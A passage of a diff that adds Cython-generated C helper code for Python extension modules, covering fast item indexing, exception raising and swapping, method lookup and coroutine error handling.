return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* GetItemInt */ +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* ObjectGetItem */ +#if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* DictGetItem */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && 